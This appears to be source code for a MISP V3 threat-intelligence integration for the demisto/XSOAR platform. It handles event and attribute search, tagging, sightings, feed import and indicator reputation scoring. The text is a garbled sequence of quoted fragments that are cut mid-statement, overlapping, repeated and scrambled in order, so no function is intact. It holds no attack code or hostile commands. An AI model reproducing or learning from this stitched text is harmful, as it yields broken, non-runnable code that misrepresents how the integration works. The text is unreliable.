remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will","to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value')","attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen","using ',' as delimiter for parameters and ';' as delimiter for operators. using","return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT: test_build_misp_complex_filter.","ids (attribute tags and event tags). Args: value (str): The indicator value (an","= prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page',","analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from","\"\"\"given_object is attribute or event, depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy']","'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last')","given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type')","'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') ==","and the URL are correct\" in error: return_error('Unable to connect to MISP, '","if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id,","valid\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given","they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return","misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return","command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events':","# response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value')","DemistoException( f\"Error: An event with the given id: {event_id} was not found in","attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution","return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found","= [] for i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]:","CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in","\"\"\" Gets 2 sets which include tag ids. If there is an id","def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response of attribute","= r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or,","related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if","Unknown so no events should be found. Returns: list includes all the events","demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg","the data is attribute's (attribute tags). \"\"\" output = [] tag_set_ids = set()","the greater event ids are the newer ones. Returns: response (dict): The parsed","found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids,","return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict,","attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID',","= warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not","to be scored as malicious or suspicious. Args: all_attributes (dict): The parsed response","describes MISP object Returns: list: list containing dicts that GenericObjectGenerator can take. Examples:","human_readable = f'Tag {tag} has been successfully added to event {uuid}' return CommandResults(","else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else","and 'NOT:' using ',' as delimiter for parameters and ';' as delimiter for","= FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to","} INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL':","tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name')","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid)","demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id","GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials',","be returned Returns: str: dictionary created for misp to perform complex query or","attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response,","'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute","def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\"","given id: {event_id} was not found in MISP. please check it once again\")","Pymisp. Args: args: dictionary describes MISP object Returns: list: list containing dicts that","args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format","(is_event_level = true) we would like to add to tag_set_ids all the tags","return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError","was added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event","md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults(","'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page',","replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \"\"\" Replacing keys from MISP's","indicator will be scored as malicious. - Attributes tags (both malicious and suspicious)","warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or","return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\":","else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else","MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e:","'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL',","connect to MISP because of a SSLCertVerificationError, ' 'Please try to use the","demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in","(an IP address, email address, domain, url or file hash). dbot_type (str): Indicator","found_tag (str): The tag that was scored as malicious or suspicious. event_name (str):","all the tags (event ones and the event's attribute tags ones as it","url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None","\"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context =","any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS,","bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in found_related_events.values(): if event['Threat Level ID']","given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag')","object, meaning the tags are event's ones. Otherwise, the data is attribute's (attribute","or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type]","in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious =","'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif","MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id,","found in MISP for the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets","elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added to attribute {att_id}'","\"\", \"\" for event in events_to_human_readable: # removing those fields as they are","file hash). dbot_type (str): Indicator type (file, url, domain, email or ip). malicious_tag_ids","command (create event for example) Args: event_id (int): Event ID to add attribute","PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url =","the number of attributes that will be written to the context Returns: CommandResults","all_attributes (dict): The parsed response from the MISP search attribute request found_tag (str):","args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') ==","== 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50'","valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to","event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was","misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type]","== 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==","= { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category',","in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if","PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found in","obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object","reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a","was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\"","is calculated by the tags ids (attribute tags and event tags). Args: value","if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags']","event with the given id: {event_id} was not found in MISP. please check","a parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if","outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\"","[{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for k, v in args.items()]","score: the indicator score found_tag: the tag (id) which made the indicator to","\"\"\" response_object = copy.deepcopy(response) if include_correlations: # return full related attributes only if","positive integer, please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str)","rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event","found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be full of","= PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'):","= PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object',","args: dictionary describes MISP object Returns: list: list containing dicts that GenericObjectGenerator can","2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category',","elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif","for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args","When limits the attributes amount, we sort the attributes list by the event","'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ]","generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args,","get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def","Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids)","malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable","str]: same object type that got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item)","'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To","= demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids","are excluded from search-events output as the information is too big. User can","= get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value:","dict: \"\"\" Convert the response of attribute search returned from MISP to the","tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting","obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url","{ '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE,","isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except","'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'),","than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id","\"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type","'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name',","`{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in","= event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'),","tag_set_ids all the tags (event ones and the event's attribute tags ones as","of attributes along with their events objects. Note: When limits the attributes amount,","suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids,","url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc","False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return","= demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids,","demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict):","= add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit ==","= params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore try:","is not valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error:","'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is not","demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args}","event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID:","Eventually, the outputs will be a list of attributes along with their events","outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\",","get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id","event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search","given limit) and by sub-functions calculated the score of the indicator. For the","in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event","obj) else: raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires one","pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in","order to get the information about the attributes. \"\"\" response_object = copy.deepcopy(response) if","dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid')","event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP search using the","= build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list","{ 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID","as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number","object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id')","for tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def","= { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE':","for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict","information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words:","not exists) it says that it is an attribute's tag. If the data","attribute_dict (dict): The dictionary that includes the tag list. is_event_level (bool): Whether the","ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), })","the tag (i.e found_tag) which caused the indicator to be scored as malicious","and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the","urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from","are the newer ones. Returns: response (dict): The parsed outputs to context data","= any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return","scored as malicious or suspicious. Args: all_attributes (dict): The parsed response from the","] def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised by PYMISP into","response_object] for i in range(0, len(events)): # Filter object from keys in event_args","human_readable = f\"## MISP create event\\nNew event with ID: {event_id} has been successfully","outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool = False,","build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on the called function\"\"\" if given_object.get('Galaxy'):","used only in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid","if attributes_limit < 0: raise DemistoException('Attribute limit has to be a positive number.')","= f'Tag {tag} has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable,","SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The","event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP","response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added to","'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX =","API Key. Fill in a valid key in the integration configuration.') MISP_URL =","{e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP and returning outputs","Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k:","query or if no complex query found returns the original input \"\"\" regex_and","response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if","== 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args))","tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag =","in demisto_args} # Replacing keys and values from Demisto to Misp's keys if","event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in response:","return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new MISP","arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute')","reliability, attributes_limit): \"\"\" This function searches for the given attribute value in MISP","tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def","def pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\"page should be","get that score found_related_events (dict): contains info (name, id, threat level id) about","event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\":","of attribute search returned from MISP to the context output format. \"\"\" response_object","ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes)","\"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event","the response of event search returned from MISP to the context output format.","{ 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu':","found, then the score is Unknown so no events should be found. Returns:","response. This function goes over all the attributes that found (after limit the","[ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment',","add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag to given UUID of event","has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/')","raised by PYMISP into readable response, for more information and examples please see","non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else","url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port':","'event' controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit","def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a timestamp from MISP response","'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock':","None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if","is an id that exists in both sets, it will be removed from","\"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from',","isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for","been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id:","return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP","str): \"\"\" Examples are available in UT: test_build_misp_complex_filter. For more information please see","demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if","replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(),","def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on the called function\"\"\" if","'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if","been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response),","in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious =","list ot tag ids (each one is str), and verify all the tags","{}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def","from MISP to the context output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations:","events = [event.get('Event') for event in response_object] for i in range(0, len(events)): #","event_id (int): Event ID to add attribute to internal (bool): if set to","response_object = copy.deepcopy(response) if include_correlations: # return full related attributes only if the","query contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for","pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context)","ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args))","PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to event {uuid}' return","the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event id and","demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else:","= [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))","of required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids):","# type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets","return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not","def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be full of in unnecessary","'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\"","for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag :=","args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] 